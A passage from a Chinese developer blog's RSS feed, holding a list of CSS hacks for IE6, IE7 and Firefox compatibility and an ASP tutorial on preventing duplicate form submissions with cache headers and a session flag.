<wbr></wbr><wbr></wbr><br /><br />a链接加边框和背景色，需设置 <wbr></wbr>display: <wbr></wbr>block, <wbr></wbr>同时设置 <wbr></wbr>float: <wbr></wbr>left <wbr></wbr>保证不换行。参照 <wbr></wbr>menubar, <wbr></wbr>给 <wbr></wbr>a <wbr></wbr>和 <wbr></wbr>menubar <wbr></wbr>设置高度是为了避免底边显示错位, <wbr></wbr>若不设 <wbr></wbr>height, <wbr></wbr>可以在 <wbr></wbr>menubar <wbr></wbr>中插入一个空格。<br /><br /><strong>3.超链接访问过后hover样式就不出现的问题</strong><br /><br />被点击访问过的超链接样式不在具有hover和active了,很多人应该都遇到过这个问题,解决方法是改变CSS属性的排列顺序: <wbr></wbr>L-V-H-A<br />Code:<br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />a:link <wbr></wbr>{}<br />a:visited <wbr></wbr>{}<br />a:hover <wbr></wbr>{}<br />a:active <wbr></wbr>{}<br />--&gt;<br />&lt;/style&gt; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><strong>4. <wbr></wbr>游标手指cursor</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />cursor: <wbr></wbr>pointer <wbr></wbr>可以同时在 <wbr></wbr>IE <wbr></wbr>FF <wbr></wbr>中显示游标手指状， <wbr></wbr>hand <wbr></wbr>仅 <wbr></wbr>IE <wbr></wbr>可以 <wbr></wbr><wbr></wbr><br /><br /><strong>5.UL的padding与margin</strong> <wbr></wbr><wbr></wbr><br /><br />ul标签在FF中默认是有padding值的,而在IE中只有margin默认有值,所以先定义 <wbr></wbr>ul{margin:0;padding:0;}就能解决大部分问题 <wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><strong>6. <wbr></wbr>FORM标签</strong> <wbr></wbr><wbr></wbr><br /><br />这个标签在IE中,将会自动margin一些边距,而在FF中margin则是0,因此,如果想显示一致,所以最好在css中指定margin和padding,针对上面两个问题,我的css中一般首先都使用这样的样式ul,form{margin:0;padding:0;}给定义死了,所以后面就不会为这个头疼了. <wbr></wbr><wbr></wbr><br /><br /><strong>7. <wbr></wbr>BOX模型解释不一致问题</strong> <wbr></wbr><wbr></wbr><br /><br />在FF和IE中的BOX模型解释不一致导致相差2px解决方法：div{margin:30px!important;margin:28px;} <wbr></wbr>注意这两个margin的顺序一定不能写反， <wbr></wbr>important这个属性IE不能识别，但别的浏览器可以识别。所以在IE下其实解释成这样： <wbr></wbr>div{maring:30px;margin:28px}重复定义的话按照最后一个来执行，所以不可以只写margin:xx <wbr></wbr>px!important; <wbr></wbr><wbr></wbr><wbr></wbr><br />#box{ <wbr></wbr>width:600px; <wbr></wbr>//for <wbr></wbr>ie6.0- <wbr></wbr>w\idth:500px; <wbr></wbr>//for <wbr></wbr>ff+ie6.0} <wbr></wbr><wbr></wbr><wbr></wbr><br />#box{ <wbr></wbr>width:600px!important <wbr></wbr>//for <wbr></wbr>ff <wbr></wbr>width:600px; <wbr></wbr>//for <wbr></wbr>ff+ie6.0 <wbr></wbr>width <wbr></wbr>:500px; <wbr></wbr>//for <wbr></wbr>ie6.0-} <wbr></wbr><wbr></wbr><br /><br /><strong>8.属性选择器(这个不能算是兼容,是隐藏css的一个bug)</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />p[id]{}div[id]{} <wbr></wbr><wbr></wbr><wbr></wbr><br />这个对于IE6.0和IE6.0以下的版本都隐藏,FF和OPera作用.属性选择器和子选择器还是有区别的,子选择器的范围从形式来说缩小了,属性选择器的范围比较大,如p[id]中,所有p标签中有id的都是同样式的. <wbr></wbr><wbr></wbr><br /><br /><strong>9.最狠的手段 <wbr></wbr>- <wbr></wbr>!important;</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />如果实在没有办法解决一些细节问题,可以用这个方法.FF对于&#8221;!important&#8221;会自动优先解析,然而IE则会忽略.如下 <wbr></wbr><wbr></wbr><br />.tabd1{ <wbr></wbr><wbr></wbr><wbr></wbr><br />background:url(/res/images/up/tab1.gif) <wbr></wbr>no-repeat <wbr></wbr>0px <wbr></wbr>0px <wbr></wbr>!important; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />background:url(/res/images/up/tab1.gif) <wbr></wbr>no-repeat <wbr></wbr>1px <wbr></wbr>0px; <wbr></wbr>} <wbr></wbr><wbr></wbr><br />值得注意的是，一定要将xxxx <wbr></wbr>!important <wbr></wbr>这句放置在另一句之上，上面已经提过 <wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><strong>10.IE,FF的默认值问题</strong> <wbr></wbr><wbr></wbr><br /><br />或许你一直在抱怨为什么要专门为IE和FF写不同的CSS，为什么IE这样让人头疼，然后一边写css，一边咒骂那个可恶的M$ <wbr></wbr>IE.其实对于css的标准支持方面，IE并没有我们想象的那么可恶，关键在于IE和FF的默认值不一样而已，掌握了这个技巧，你会发现写出兼容FF和IE的css并不是那么困难，或许对于简单的css，你完全可以不用&#8221;!important&#8221;这个东西了。 <wbr></wbr><wbr></wbr><wbr></wbr><br />我们都知道，浏览器在显示网页的时候，都会根据网页的css样式表来决定如何显示，但是我们在样式表中未必会将所有的元素都进行了具体的描述，当然也没有必要那么做，所以对于那些没有描述的属性，浏览器将采用内置默认的方式来进行显示，譬如文字，如果你没有在css中指定颜色，那么浏览器将采用黑色或者系统颜色来显示，div或者其他元素的背景，如果在css中没有被指定，浏览器则将其设置为白色或者透明，等等其他未定义的样式均如此。所以有很多东西出现FF和IE显示不一样的根本原因在于它们的默认显示不一样，而这个默认样式该如何显示我知道在w3中有没有对应的标准来进行规定，因此对于这点也就别去怪罪IE了。<br /><br /><strong>11.为什么FF下文本无法撑开容器的高度</strong><br /><br />标准浏览器中固定高度值的容器是不会象IE6里那样被撑开的,那我又想固定高度,又想能被撑开需要怎样设置呢？办法就是去掉height设置min-height:200px; <wbr></wbr><wbr></wbr>这里为了照顾不认识min-height的IE6 <wbr></wbr>可以这样定义:<br /><br />{<br />height:auto!important;<br />height:200px;<br />min-height:200px;<br />} <wbr></wbr><br /><br /><strong>12.FireFox下如何使连续长字段自动换行</strong><br /><br />众所周知IE中直接使用 <wbr></wbr>word-wrap:break-word <wbr></wbr>就可以了, <wbr></wbr>FF中我们使用JS插入&amp;#10;的方法来解决<br /><br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />div <wbr></wbr>{<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>width:300px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>word-wrap:break-word;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>border:1px <wbr></wbr>solid <wbr></wbr>red;<br />}<br />--&gt;<br />&lt;/style&gt;<br /><br />&lt;div <wbr></wbr>id="ff"&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaaaaaaaaaaaaaaaaaa<wbr></wbr>aaaaaaaa&lt;/div&gt;<br /><br />&lt;scrīpt <wbr></wbr>type="text/javascrīpt"&gt;<br /><br />function <wbr></wbr>toBreakWord(el, <wbr></wbr>intLen){<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>var <wbr></wbr>ōbj=document.getElementById(el);<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>var <wbr></wbr>strContent=obj.innerHTML; <wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>var <wbr></wbr>strTemp="";<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>while(strContent.length&gt;intLen){<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>strTemp+=strContent.substr(0,intLen)+"&amp;#10;"; <wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>strContent=strContent.substr(intLen,strContent.length); <wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>}<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>strTemp+="&amp;#10;"+strContent;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>obj.innerHTML=strTemp;<br />}<br />if(document.getElementById <wbr></wbr><wbr></wbr>&amp;&amp; <wbr></wbr><wbr></wbr>!document.all) <wbr></wbr><wbr></wbr>toBreakWord("ff", <wbr></wbr>37);<br /><br />&lt;/scrīpt&gt;<br /><br /><strong>13.为什么IE6下容器的宽度和FF解释不同呢</strong><br /><br />&lt;?xml <wbr></wbr>version="1.0" <wbr></wbr>encoding="gb2312"?&gt;<br />&lt;!DOCTYPE <wbr></wbr>html <wbr></wbr>PUBLIC <wbr></wbr>"-//W3C//DTD <wbr></wbr>XHTML <wbr></wbr>1.0 <wbr></wbr>Strict//EN" <wbr></wbr>"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;<br />&lt;meta <wbr></wbr>http-equiv="Content-Type" <wbr></wbr>content="text/html; <wbr></wbr>charset=gb2312" <wbr></wbr>/&gt;<br />&lt;style <wbr></wbr>type="text/css"&gt;<br />&lt;!--<br />div <wbr></wbr>{<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>cursor:pointer;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>width:200px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>height:200px;<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>border:10px <wbr></wbr>solid <wbr></wbr>red<br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>}<br />--&gt;<br />&lt;/style&gt;<br />&lt;div <wbr></wbr>ōnclick="alert(this.offsetWidth)"&gt;让FireFox与IE兼容&lt;/div&gt; <wbr></wbr><br /><br />问题的差别在于容器的整体宽度有没有将边框（border）的宽度算在其内,这里IE6解释为200PX <wbr></wbr>,而FF则解释为220PX,那究竟是怎么导致的问题呢？大家把容器顶部的xml去掉就会发现原来问题出在这,顶部的申明触发了IE的qurks <wbr></wbr>mode,关于qurks <wbr></wbr>mode、standards <wbr></wbr>mode的相关知识,请参考:http://www.microsoft.com/china/msdn/library/webservices/asp.net/<br />ASPNETusStan.mspx?mfr=true <wbr></wbr><br /><wbr></wbr><wbr></wbr><br /><br /><br /><strong><font style="color: #aa0022">IE6,IE7,FF</font></strong> <wbr></wbr><wbr></wbr><br /><br />IE7.0出来了，对CSS的支持又有新问题。浏览器多了，网页兼容性更差了，疲于奔命的还是我们 <wbr></wbr>，为解决IE7.0的兼容问题，找来了下面这篇文章： <wbr></wbr>现在我大部分都是用!important来hack，对于ie6和firefox测试可以正常显示，但是ie7对!important可以正确解释，会导致页面没按要求显示！下面是三个浏览器的兼容性收集. <wbr></wbr><wbr></wbr><br /><br /><strong>第一种，是CSS <wbr></wbr>HACK的方法</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />height:20px; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />*height:25px; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />_height:20px; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br />注意顺序。 <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />这样也属于CSS <wbr></wbr>HACK，不过没有上面这样简洁。 <wbr></wbr><wbr></wbr><wbr></wbr><br />#example <wbr></wbr>{ <wbr></wbr>color: <wbr></wbr>#333; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />* <wbr></wbr>html <wbr></wbr>#example <wbr></wbr>{ <wbr></wbr>color: <wbr></wbr>#666; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />*+html <wbr></wbr>#example <wbr></wbr>{ <wbr></wbr>color: <wbr></wbr>#999; <wbr></wbr>} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><br /><strong>第二种，是使用IE专用的条件注释</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />&lt;!--其他浏览器 <wbr></wbr>--&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;link <wbr></wbr>rel="stylesheet" <wbr></wbr>type="text/css" <wbr></wbr>href="css.css" <wbr></wbr>/&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />&lt;!--[if <wbr></wbr>IE <wbr></wbr>7]&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;!-- <wbr></wbr>适合于IE7 <wbr></wbr>--&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;link <wbr></wbr>rel="stylesheet" <wbr></wbr>type="text/css" <wbr></wbr>href="ie7.css" <wbr></wbr>/&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;![endif]--&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />&lt;!--[if <wbr></wbr>lte <wbr></wbr>IE <wbr></wbr>6]&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;!-- <wbr></wbr>适合于IE6及一下 <wbr></wbr>--&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;link <wbr></wbr>rel="stylesheet" <wbr></wbr>type="text/css" <wbr></wbr>href="ie.css" <wbr></wbr>/&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;![endif]--&gt; <wbr></wbr><wbr></wbr><wbr></wbr><br /><br /><strong>第三种，css <wbr></wbr>filter的办法，以下为经典从国外网站翻译过来的。.</strong> <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />新建一个css样式如下： <wbr></wbr><wbr></wbr><wbr></wbr><br />#item <wbr></wbr>{ <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>width: <wbr></wbr>200px; <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>height: <wbr></wbr>200px; <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>background: <wbr></wbr>red; <wbr></wbr><wbr></wbr><wbr></wbr><br />} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br />新建一个div,并使用前面定义的css的样式： <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;div <wbr></wbr>id="item"&gt;some <wbr></wbr>text <wbr></wbr>here&lt;/div&gt; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br />在body表现这里加入lang属性,中文为zh： <wbr></wbr><wbr></wbr><wbr></wbr><br />&lt;body <wbr></wbr>lang="en"&gt; <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br />现在对div元素再定义一个样式： <wbr></wbr><wbr></wbr><wbr></wbr><br />*:lang(en) <wbr></wbr>#item{ <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>background:green <wbr></wbr>!important; <wbr></wbr><wbr></wbr><wbr></wbr><br />} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br /><br />这样做是为了用!important覆盖原来的css样式,由于:lang选择器ie7.0并不支持,所以对这句话不会有任何作用,于是也达到了ie6.0下同样的效果,但是很不幸地的是,safari同样不支持此属性,所以需要加入以下css样式： <wbr></wbr><wbr></wbr><wbr></wbr><br />#item:empty <wbr></wbr>{ <wbr></wbr><wbr></wbr><wbr></wbr><br /><wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr>background: <wbr></wbr>green <wbr></wbr>!important <wbr></wbr><wbr></wbr><wbr></wbr><br />} <wbr></wbr><wbr></wbr><wbr></wbr><wbr></wbr><br />:empty选择器为css3的规范,尽管safari并不支持此规范,但是还是会选择此元素,不管是否此元素存在,现在绿色会现在在除ie各版本以外的浏览器上。 <wbr></wbr><wbr></wbr><wbr></wbr><br /><br />对IE6和FF的兼容可以考虑以前的!important <wbr></wbr>个人比较喜欢用第一种，简洁，兼容性比较好。</font></font></div></div></td></tr></table><img src ="http://www.cnblogs.com/lemtree/aggbug/1430239.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>asp表单安全 --- 防止后退和刷新多次提交表单</title><link>http://www.cnblogs.com/lemtree/articles/1421000.html</link><dc:creator>萧木柯</dc:creator><author>萧木柯</author><pubDate>Tue, 24 Mar 2009 15:55:00 GMT</pubDate><guid>http://www.cnblogs.com/lemtree/articles/1421000.html</guid><wfw:comment>http://www.cnblogs.com/lemtree/comments/1421000.html</wfw:comment><comments>http://www.cnblogs.com/lemtree/articles/1421000.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/lemtree/comments/commentRss/1421000.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/lemtree/services/trackbacks/1421000.html</trackback:ping><description><![CDATA[<p>为了防止用户通过后退和刷新提交页面而产生的重复提交，可以采用以下办法。</p>
<p><span style="color: red"><strong>防止后退：</strong></span>页面顶部加入以下代码，禁止浏览器缓存页面</p>
<p><font face="Verdana">&lt;%&nbsp; '禁止后退<br />
Response.Buffer = True&nbsp; <br />
Response.ExpiresAbsolute = Now() - 1 <br />
Response.Expires = 0 <br />
Response.CacheControl = "no-cache"<br />
%&gt;</font></p>
<p><span style="color: red"><strong>防止刷新提交页而产生重复提交：</strong></span></p>
<p><span style="color: #0000ff"><strong>STEP1、</strong></span>我在表单提交页设置 <span style="background-color: yellow">&lt;% Session.Contents("work")="yes" %&gt;</span></p>
<p><font style="background-color: #ffff99"><span style="background-color: #c0c0c0"><font style="background-color: #c0c0c0">&lt;input name="work" type="hidden" id="work" value="&lt;%=session("work")%&gt;"&gt;&nbsp;</font></span> <span style="background-color: #ff0000"><font style="background-color: #ff0000">这个隐藏域不要也可以</font></span></font></p>
<p><font style="background-color: #ffff99"></font>&nbsp;</p>
<p><span style="color: #0000ff"><strong>STEP2、</strong></span>在处理提交表单数据页（add_work.asp）有一个判断代码：</p>
<p><font style="background-color: #ffff99">&lt;%if Session.Contents("work")="yes" then %&gt;</font></p>
<p>%<br />
set rs=server.createobject("adodb.recordset") <br />
sql="select * from work"<br />
rs.open sql,conn,1,3<br />
rs.addnew<br />
work_ask=request.form("work_ask")</p>
<p>rs("work_ask")=work_ask</p>
<p>&nbsp;rs.update &nbsp;&nbsp;'更新数据表记录<br />
rs.close<br />
set rs=nothing<br />
conn.close<br />
Set conn=Nothing<br />
<font style="background-color: #ffff99">Session.Contents("work")="no"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="background-color: #ff0000"><font style="background-color: #ffff99">&nbsp;&nbsp;'<span style="background-color: #ff0000"><font style="background-color: #ff0000">更新成功后将值设置为no</font><br />
</span></font></span></font>%&gt;</p>
<p>&lt;h1&gt;表单提交成功&lt;/h1&gt;</p>
<p><font style="background-color: #ccffff">&lt;% <font style="background-color: #ffff00">Else If Session.Contents("work")="no" then&nbsp;&nbsp;&nbsp;&nbsp;<span style="background-color: #ff0000">&nbsp;'不成功则提示然后转跳<br />
</span></font>&nbsp; response.write ("&lt;script language='javascript'&gt;alert('请勿重复提交！');location='index.asp';&lt;/script&gt;")<br />
&nbsp; end if<br />
&nbsp; %&gt;</font></p>
<p><font>以上方法试验过可行，还有其它方法：如用window.open弹出表单页面，点提交后关闭该页；处理提交的ASP页也是用弹出，设定表单的target,点提交时window.open("XXX.asp","_blank"),然后用JS来提交表单，完成后window.close()；<br />
简单的说，就是提交表单的时候弹出新窗口，关闭本窗口。对于window.open()打开的窗口怎么后退？能后退到哪里去？其实最简单的方法就是提交后在服务器端直接转跳，但是这样看不到提示信息了。。。。<br />
</font></p>
<img src ="http://www.cnblogs.com/lemtree/aggbug/1421000.html?type=2" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47996/" target="_blank">7月编程语言排行榜</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item></channel></rss>